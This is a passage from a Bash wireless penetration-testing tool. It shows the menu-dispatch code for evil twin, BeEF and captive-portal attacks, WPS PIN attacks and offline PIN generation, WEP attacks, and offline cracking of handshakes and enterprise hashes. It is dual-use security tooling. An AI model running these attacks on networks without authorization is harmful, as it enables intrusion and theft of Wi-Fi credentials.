								if ! explore_for_targets_option "WPA" "enterprise"; then
									et_target_ready=0
								fi
							fi
							if [ "${et_target_ready}" -eq 1 ]; then
								if check_6ghz_thirdparty_tools_compatibility; then
									et_dos_menu "enterprise"
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		8)
			if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				enterprise_identities_and_certitifcates_analysis "identities"
			fi
		;;
		9)
			if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				enterprise_identities_and_certitifcates_analysis "certificates"
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	enterprise_attacks_menu
}

#Evil Twin attacks menu
function evil_twin_attacks_menu() {

	debug_print

	clear
	language_strings "${language}" 253 "title"
	current_menu="evil_twin_attacks_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49
	language_strings "${language}" 255 "separator"
	language_strings "${language}" 256 et_onlyap_dependencies[@]
	language_strings "${language}" 257 "separator"
	language_strings "${language}" 259 et_sniffing_dependencies[@]
	language_strings "${language}" 261 et_sniffing_sslstrip2_dependencies[@]
	language_strings "${language}" 396
	language_strings "${language}" 262 "separator"
	language_strings "${language}" 263 et_captive_portal_dependencies[@]
	print_hint

	read -rp "> " et_option
	case ${et_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			explore_for_targets_option
		;;
		5)
			if contains_element "${et_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							et_attack_adapter_prerequisites_ok=1
						fi
					else
						et_attack_adapter_prerequisites_ok=1
					fi

					if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then

						declare -gA ports_needed
						ports_needed["tcp"]=""
						ports_needed["udp"]="${dhcp_port}"
						if check_busy_ports; then
							et_mode="et_onlyap"
							local et_target_ready=1
							if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
								echo
								language_strings "${language}" 125 "yellow"
								language_strings "${language}" 115 "read"
								if ! explore_for_targets_option; then
									et_target_ready=0
								fi
							fi
							if [ "${et_target_ready}" -eq 1 ]; then
								if check_6ghz_thirdparty_tools_compatibility; then
									et_dos_menu
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		6)
			if contains_element "${et_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							et_attack_adapter_prerequisites_ok=1
						fi
					else
						et_attack_adapter_prerequisites_ok=1
					fi

					if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then

						declare -gA ports_needed
						ports_needed["tcp"]=""
						ports_needed["udp"]="${dhcp_port}"
						if check_busy_ports; then
							et_mode="et_sniffing"
							local et_target_ready=1
							if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
								echo
								language_strings "${language}" 125 "yellow"
								language_strings "${language}" 115 "read"
								if ! explore_for_targets_option; then
									et_target_ready=0
								fi
							fi
							if [ "${et_target_ready}" -eq 1 ]; then
								if check_6ghz_thirdparty_tools_compatibility; then
									et_dos_menu
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		7)
			if contains_element "${et_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					get_bettercap_version
					if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then
						echo
						language_strings "${language}" 174 "red"
						language_strings "${language}" 115 "read"
					else
						if [ "${adapter_vif_support}" -eq 0 ]; then
							ask_yesno 696 "no"
							if [ "${yesno}" = "y" ]; then
								et_attack_adapter_prerequisites_ok=1
							fi
						else
							et_attack_adapter_prerequisites_ok=1
						fi

						if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then

							declare -gA ports_needed
							ports_needed["tcp"]="${bettercap_proxy_port}"
							ports_needed["udp"]="${dhcp_port} ${bettercap_dns_port}"
							if check_busy_ports; then
								et_mode="et_sniffing_sslstrip2"
								local et_target_ready=1
								if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
									echo
									language_strings "${language}" 125 "yellow"
									language_strings "${language}" 115 "read"
									if ! explore_for_targets_option; then
										et_target_ready=0
									fi
								fi
								if [ "${et_target_ready}" -eq 1 ]; then
									if check_6ghz_thirdparty_tools_compatibility; then
										et_dos_menu
									fi
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		8)
			beef_pre_menu
		;;
		9)
			if contains_element "${et_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							et_attack_adapter_prerequisites_ok=1
						fi
					else
						et_attack_adapter_prerequisites_ok=1
					fi

					if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then

						declare -gA ports_needed
						ports_needed["tcp"]="${dns_port} ${www_port}"
						ports_needed["udp"]="${dns_port} ${dhcp_port}"
						if check_busy_ports; then
							et_mode="et_captive_portal"
							echo
							language_strings "${language}" 316 "yellow"
							language_strings "${language}" 115 "read"

							if explore_for_targets_option "WPA"; then
								if check_6ghz_thirdparty_tools_compatibility; then
									et_dos_menu
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	evil_twin_attacks_menu
}

#beef pre attack menu
function beef_pre_menu() {

	debug_print

	if [ "${return_to_et_main_menu_from_beef}" -eq 1 ]; then
		return
	fi

	search_for_beef

	clear
	language_strings "${language}" 407 "title"
	current_menu="beef_pre_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 266
	print_simple_separator

	if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
		if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[16]}]} -eq 1 ]]; then
			language_strings "${language}" 409 "warning"
			language_strings "${language}" 416 "pink"
		else
			language_strings "${language}" 409 et_sniffing_sslstrip2_beef_dependencies[@]
		fi
	else
		language_strings "${language}" 409 et_sniffing_sslstrip2_beef_dependencies[@]
	fi

	print_simple_separator
	language_strings "${language}" 410
	print_hint

	read -rp "> " beef_option
	case ${beef_option} in
		0)
			return
		;;
		1)
			if contains_element "${beef_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					get_bettercap_version
					if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then
						echo
						language_strings "${language}" 174 "red"
						language_strings "${language}" 115 "read"
						return
					fi

					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							et_attack_adapter_prerequisites_ok=1
						else
							return_to_et_main_menu_from_beef=1
						fi
					else
						et_attack_adapter_prerequisites_ok=1
					fi

					if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then

						declare -gA ports_needed
						ports_needed["tcp"]="2000 ${beef_port} 6789 ${bettercap_proxy_port}"
						ports_needed["udp"]="${dns_port} ${dhcp_port} ${bettercap_dns_port}"
						if check_busy_ports; then

							et_mode="et_sniffing_sslstrip2_beef"
							local et_target_ready=1
							if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
								echo
								language_strings "${language}" 125 "yellow"
								language_strings "${language}" 115 "read"
								if ! explore_for_targets_option; then
									et_target_ready=0
								fi
							fi
							if [ "${et_target_ready}" -eq 1 ]; then
								if check_6ghz_thirdparty_tools_compatibility; then
									et_dos_menu
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		2)
			if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then
				echo
				language_strings "${language}" 412 "red"
				language_strings "${language}" 115 "read"
			else
				prepare_beef_start
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	beef_pre_menu
}

#WPS attacks menu
function wps_attacks_menu() {

	debug_print

	clear
	language_strings "${language}" 334 "title"
	current_menu="wps_attacks_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49 wash_scan_dependencies[@]
	language_strings "${language}" 50 "separator"
	language_strings "${language}" 345 bully_attacks_dependencies[@]
	language_strings "${language}" 357 reaver_attacks_dependencies[@]
	language_strings "${language}" 346 bully_pixie_dust_attack_dependencies[@]
	language_strings "${language}" 358 reaver_pixie_dust_attack_dependencies[@]
	language_strings "${language}" 347 bully_attacks_dependencies[@]
	language_strings "${language}" 359 reaver_attacks_dependencies[@]
	language_strings "${language}" 348 bully_attacks_dependencies[@]
	language_strings "${language}" 360 reaver_attacks_dependencies[@]
	language_strings "${language}" 622 reaver_attacks_dependencies[@]
	print_simple_separator
	language_strings "${language}" 494
	print_hint

	read -rp "> " wps_option
	case ${wps_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_reaver_version
				explore_for_wps_targets_option
			fi
		;;
		5)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="custompin_bully"
				get_bully_version
				set_bully_verbosity
				if wps_attacks_parameters; then
					manage_wps_log
					exec_wps_custom_pin_bully_attack
				fi
			fi
		;;
		6)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="custompin_reaver"
				if wps_attacks_parameters; then
					manage_wps_log
					exec_wps_custom_pin_reaver_attack
				fi
			fi
		;;
		7)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="pixiedust_bully"
				get_bully_version
				set_bully_verbosity
				if validate_bully_pixiewps_version; then
					echo
					language_strings "${language}" 368 "yellow"
					language_strings "${language}" 115 "read"
					if wps_attacks_parameters; then
						manage_wps_log
						exec_bully_pixiewps_attack
					fi
				else
					echo
					language_strings "${language}" 367 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		8)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="pixiedust_reaver"
				get_reaver_version
				if validate_reaver_pixiewps_version; then
					echo
					language_strings "${language}" 370 "yellow"
					language_strings "${language}" 115 "read"
					if wps_attacks_parameters; then
						manage_wps_log
						exec_reaver_pixiewps_attack
					fi
				else
					echo
					language_strings "${language}" 371 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		9)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="bruteforce_bully"
				get_bully_version
				set_bully_verbosity
				if wps_attacks_parameters; then
					manage_wps_log
					exec_wps_bruteforce_pin_bully_attack
				fi
			fi
		;;
		10)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="bruteforce_reaver"
				get_reaver_version
				if wps_attacks_parameters; then
					manage_wps_log
					exec_wps_bruteforce_pin_reaver_attack
				fi
			fi
		;;
		11)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="pindb_bully"
				get_bully_version
				set_bully_verbosity

				db_error=0
				if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then
					if check_pins_database_file; then
						echo
						language_strings "${language}" 373 "blue"
					else
						echo
						language_strings "${language}" 372 "red"
						db_error=1
					fi
				else
					echo
					language_strings "${language}" 379 "blue"
				fi
				language_strings "${language}" 115 "read"

				if [ "${db_error}" -eq 0 ]; then
					if wps_attacks_parameters; then
						manage_wps_log
						exec_wps_pin_database_bully_attack
					fi
				fi
			fi
		;;
		12)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="pindb_reaver"
				get_reaver_version

				db_error=0
				if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then
					if check_pins_database_file; then
						echo
						language_strings "${language}" 373 "blue"
					else
						echo
						language_strings "${language}" 372 "red"
						db_error=1
					fi
				else
					echo
					language_strings "${language}" 379 "blue"
				fi
				language_strings "${language}" 115 "read"
				if [ "${db_error}" -eq 0 ]; then
					if wps_attacks_parameters; then
						manage_wps_log
						exec_wps_pin_database_reaver_attack
					fi
				fi
			fi
		;;
		13)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wps_attack="nullpin_reaver"
				get_reaver_version
				if validate_reaver_nullpin_version; then
					echo
					language_strings "${language}" 623 "yellow"
					language_strings "${language}" 115 "read"
					if wps_attacks_parameters; then
						manage_wps_log
						exec_reaver_nullpin_attack
					fi
				else
					echo
					language_strings "${language}" 624 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		14)
			offline_pin_generation_menu
		;;
		*)
			invalid_menu_option
		;;
	esac

	wps_attacks_menu
}

#Offline pin generation menu
function offline_pin_generation_menu() {

	debug_print

	clear
	language_strings "${language}" 495 "title"
	current_menu="offline_pin_generation_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 497
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49 wash_scan_dependencies[@]
	language_strings "${language}" 498 "separator"
	language_strings "${language}" 496
	echo "6.  ComputePIN"
	echo "7.  EasyBox"
	echo "8.  Arcadyan"
	print_hint

	read -rp "> " offline_pin_generation_option
	case ${offline_pin_generation_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			if contains_element "${wps_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_reaver_version
				explore_for_wps_targets_option
			fi
		;;
		5)
			db_error=0
			if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then
				if check_pins_database_file; then
					echo
					language_strings "${language}" 373 "blue"
				else
					echo
					language_strings "${language}" 372 "red"
					db_error=1
				fi
			else
				echo
				language_strings "${language}" 379 "blue"
			fi
			language_strings "${language}" 115 "read"

			if [ "${db_error}" -eq 0 ]; then
				if wps_attacks_parameters "no_monitor_check"; then
					wps_pin_database_prerequisites "no_attack"
					if [ "${bssid_found_in_db}" -eq 1 ]; then
						echo
						language_strings "${language}" 499 "blue"
						echo "${wps_data_array["${wps_bssid}",'Database']}"
						echo
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		6)
			if wps_attacks_parameters "no_monitor_check"; then
				if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "ComputePIN"; then
					set_wps_mac_parameters
					calculate_computepin_algorithm_step1
					pin_checksum_rule "${computepin_pin}"
					calculate_computepin_algorithm_step2
					fill_wps_data_array "${wps_bssid}" "ComputePIN" "${computepin_pin}"
				fi

				echo
				language_strings "${language}" 500 "blue"
				echo "${wps_data_array["${wps_bssid}",'ComputePIN']}"
				echo
				language_strings "${language}" 115 "read"
			fi
		;;
		7)
			if wps_attacks_parameters "no_monitor_check"; then
				if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "EasyBox"; then
					set_wps_mac_parameters
					calculate_easybox_algorithm
					pin_checksum_rule "${easybox_pin}"
					easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit)))
					fill_wps_data_array "${wps_bssid}" "EasyBox" "${easybox_pin}"
				fi

				echo
				language_strings "${language}" 501 "blue"
				echo "${wps_data_array["${wps_bssid}",'EasyBox']}"
				echo
				language_strings "${language}" 115 "read"
			fi
		;;
		8)
			if wps_attacks_parameters "no_monitor_check"; then
				offline_arcadyan_pin_can_be_shown=0
				if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "Arcadyan"; then

					ask_yesno 504 "yes"
					if [ "${yesno}" = "y" ]; then

						if check_monitor_enabled "${interface}"; then
							if hash wash 2> /dev/null; then
								if check_json_option_on_wash; then

									echo
									language_strings "${language}" 489 "blue"

									serial=""
									if wash_json_scan "${wps_bssid}"; then
										if [ -n "${serial}" ]; then
											if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then
												set_wps_mac_parameters
												calculate_arcadyan_algorithm
												pin_checksum_rule "${arcadyan_pin}"
												arcadyan_pin="${arcadyan_pin}${checksum_digit}"
												fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}"
												offline_arcadyan_pin_can_be_shown=1
											else
												echo
												language_strings "${language}" 491 "yellow"
												language_strings "${language}" 115 "read"
											fi
											echo
										else
											echo
											language_strings "${language}" 488 "red"
											language_strings "${language}" 115 "read"
										fi
									fi
								else
									echo
									language_strings "${language}" 486 "red"
									language_strings "${language}" 115 "read"
								fi
							else
								echo
								language_strings "${language}" 492 "red"
								language_strings "${language}" 115 "read"
							fi
						else
							echo
							language_strings "${language}" 14 "red"
							language_strings "${language}" 115 "read"
						fi
					fi
				else
					echo
					language_strings "${language}" 503 "yellow"
					language_strings "${language}" 115 "read"
					offline_arcadyan_pin_can_be_shown=1
				fi

				if [ "${offline_arcadyan_pin_can_be_shown}" -eq 1 ]; then
					echo
					language_strings "${language}" 502 "blue"
					echo "${wps_data_array["${wps_bssid}",'Arcadyan']}"
					echo
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	offline_pin_generation_menu
}

#WEP attacks menu
function wep_attacks_menu() {

	debug_print

	clear
	language_strings "${language}" 427 "title"
	current_menu="wep_attacks_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49
	language_strings "${language}" 50 "separator"
	language_strings "${language}" 423 wep_attack_allinone_dependencies[@]
	language_strings "${language}" 723 wep_attack_besside_dependencies[@]
	print_hint

	read -rp "> " wep_option
	case ${wep_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			explore_for_targets_option "WEP"
		;;
		5)
			if contains_element "${wep_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wep_attack_option "allinone"
			fi
		;;
		6)
			if contains_element "${wep_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				wep_attack_option "besside"
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	wep_attacks_menu
}

#Offline decryption attacks menu
function decrypt_menu() {

	debug_print

	clear
	language_strings "${language}" 170 "title"
	current_menu="decrypt_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 534
	language_strings "${language}" 535
	print_hint

	read -rp "> " decrypt_option
	case ${decrypt_option} in
		0)
			return
		;;
		1)
			personal_decrypt_menu
		;;
		2)
			enterprise_decrypt_menu
		;;
		*)
			invalid_menu_option
		;;
	esac

	decrypt_menu
}

#Offline personal decryption attacks menu
function personal_decrypt_menu() {

	debug_print

	clear
	language_strings "${language}" 170 "title"
	current_menu="personal_decrypt_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 536
	language_strings "${language}" 176 "separator"
	language_strings "${language}" 172
	language_strings "${language}" 175 aircrack_crunch_attacks_dependencies[@]
	language_strings "${language}" 229 "separator"
	language_strings "${language}" 230 hashcat_attacks_dependencies[@]
	language_strings "${language}" 231 hashcat_attacks_dependencies[@]
	language_strings "${language}" 232 hashcat_attacks_dependencies[@]
	language_strings "${language}" 789 hashcat_hash_attacks_dependencies[@]
	language_strings "${language}" 790 hashcat_hash_attacks_dependencies[@]
	language_strings "${language}" 791 hashcat_hash_attacks_dependencies[@]
	print_hint

	read -rp "> " personal_decrypt_option
	case ${personal_decrypt_option} in
		0)
			return
		;;
		1)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				aircrack_dictionary_attack_option "personal_handshake_pmkid_capture"
			fi
		;;
		2)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				aircrack_bruteforce_attack_option "personal_handshake_pmkid_capture"
			fi
		;;
		3)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_dictionary_attack_option "personal_handshake_pmkid_capture"
			fi
		;;
		4)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_bruteforce_attack_option "personal_handshake_pmkid_capture"
			fi
		;;
		5)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_rulebased_attack_option "personal_handshake_pmkid_capture"
			fi
		;;
		6)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_dictionary_attack_option "personal_handshake_pmkid_hash"
			fi
		;;
		7)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_bruteforce_attack_option "personal_handshake_pmkid_hash"
			fi
		;;
		8)
			if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_rulebased_attack_option "personal_handshake_pmkid_hash"
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	personal_decrypt_menu
}

#Offline enterprise decryption attacks menu
function enterprise_decrypt_menu() {

	debug_print

	clear
	language_strings "${language}" 170 "title"
	current_menu="enterprise_decrypt_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 536
	language_strings "${language}" 544 "separator"
	language_strings "${language}" 545 john_attacks_dependencies[@]
	language_strings "${language}" 546 johncrunch_attacks_dependencies[@]
	language_strings "${language}" 229 "separator"
	language_strings "${language}" 550 hashcat_attacks_dependencies[@]
	language_strings "${language}" 551 hashcat_attacks_dependencies[@]
	language_strings "${language}" 552 hashcat_attacks_dependencies[@]
	language_strings "${language}" 548 "separator"
	language_strings "${language}" 549 asleap_attacks_dependencies[@]
	print_hint

	read -rp "> " enterprise_decrypt_option
	case ${enterprise_decrypt_option} in
		0)
			return
		;;
		1)
			if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_jtr_version
				if ! validate_jtr; then
					echo
					language_strings "${language}" 802 "red"
					language_strings "${language}" 115 "read"
				else
					enterprise_jtr_dictionary_attack_option "enterprise"
				fi
			fi
		;;
		2)
			if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_jtr_version
				if ! validate_jtr; then
					echo
					language_strings "${language}" 802 "red"
					language_strings "${language}" 115 "read"
				else
					enterprise_jtr_bruteforce_attack_option "enterprise"
				fi
			fi
		;;
		3)
			if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_dictionary_attack_option "enterprise"
			fi
		;;
		4)
			if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_bruteforce_attack_option "enterprise"
			fi
		;;
		5)
			if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				get_hashcat_version
				set_hashcat_parameters
				hashcat_rulebased_attack_option "enterprise"
			fi
		;;
		6)
			if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				enterprise_asleap_dictionary_attack_option
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	enterprise_decrypt_menu
}

#Read the user input on rules file questions
function ask_rules() {

	debug_print

	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "rules"
	done
	language_strings "${language}" 241 "yellow"
}

#Read the user input on dictionary file questions
function ask_dictionary() {

	debug_print

	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "dictionary"
	done
	language_strings "${language}" 181 "yellow"
}

#Read the user input on Handshake/PMKID/enterprise file questions
function ask_capture_hash_file() {

	debug_print

	validpath=1

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		while [[ "${validpath}" != "0" ]]; do
			read_path "targetfilefordecrypt"
		done
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		while [[ "${validpath}" != "0" ]]; do
			read_path "targethashcathashfilefordecrypt"
		done
	else
		if [ "${2}" = "hashcat" ]; then
			while [[ "${validpath}" != "0" ]]; do
				read_path "targethashcatenterprisefilefordecrypt"
			done
		else
			while [[ "${validpath}" != "0" ]]; do
				read_path "targetjtrenterprisefilefordecrypt"
			done
		fi
	fi
	language_strings "${language}" 189 "yellow"
}

#Manage the questions on Handshake/PMKID/enterprise file questions
function manage_asking_for_captured_hashes_file() {

	debug_print

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		if [ -n "${enteredpath}" ]; then
			echo
			language_strings "${language}" 186 "blue"
			ask_yesno 187 "yes"
			if [ "${yesno}" = "n" ]; then
				ask_capture_hash_file "${1}" "${2}"
			fi
		else
			ask_capture_hash_file "${1}" "${2}"
		fi
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		if [ -n "${hashcathashfileenteredpath}" ]; then
			echo
			language_strings "${language}" 795 "blue"
			ask_yesno 800 "yes"
			if [ "${yesno}" = "n" ]; then
				ask_capture_hash_file "${1}" "${2}"
			fi
		else
			ask_capture_hash_file "${1}" "${2}"
		fi
	else
		if [ "${2}" = "hashcat" ]; then
			if [ -n "${hashcatenterpriseenteredpath}" ]; then
				echo
				language_strings "${language}" 600 "blue"
				ask_yesno 800 "yes"
				if [ "${yesno}" = "n" ]; then
					ask_capture_hash_file "${1}" "${2}"
				fi
			else
				ask_capture_hash_file "${1}" "${2}"
			fi
		elif [ "${2}" = "jtr"  ]; then
			if [ -n "${jtrenterpriseenteredpath}" ]; then
				echo
				language_strings "${language}" 609 "blue"
				ask_yesno 800 "yes"
				if [ "${yesno}" = "n" ]; then
					ask_capture_hash_file "${1}" "${2}"
				fi
			else
				ask_capture_hash_file "${1}" "${2}"
			fi
		fi
	fi
}

#Manage the questions on challenge response input
manage_asking_for_challenge_response() {

	debug_print

	local regexp="^([[:xdigit:]]{2}:){7}[[:xdigit:]]{2}$"

	while [[ ! ${enterprise_asleap_challenge} =~ ${regexp} ]]; do
		read_challenge
	done

	regexp="^([[:xdigit:]]{2}:){23}[[:xdigit:]]{2}$"

	while [[ ! ${enterprise_asleap_response} =~ ${regexp} ]]; do
		read_response
	done
}

#Manage the questions on dictionary file questions
function manage_asking_for_dictionary_file() {

	debug_print

	if [ -n "${DICTIONARY}" ]; then
		echo
		language_strings "${language}" 183 "blue"
		ask_yesno 184 "yes"
		if [ "${yesno}" = "n" ]; then
			ask_dictionary
		fi
	else
		ask_dictionary
	fi
}

#Manage the questions on rules file questions
function manage_asking_for_rule_file() {

	debug_print

	if [ -n "${RULES}" ]; then
		echo
		language_strings "${language}" 239 "blue"
		ask_yesno 240 "yes"
		if [ "${yesno}" = "n" ]; then
			ask_rules
		fi
	else
		ask_rules
	fi
}

#Check if a hash is present in hostapd-mana log
function check_mana_hashes() {

	debug_print

	mana_hash=""
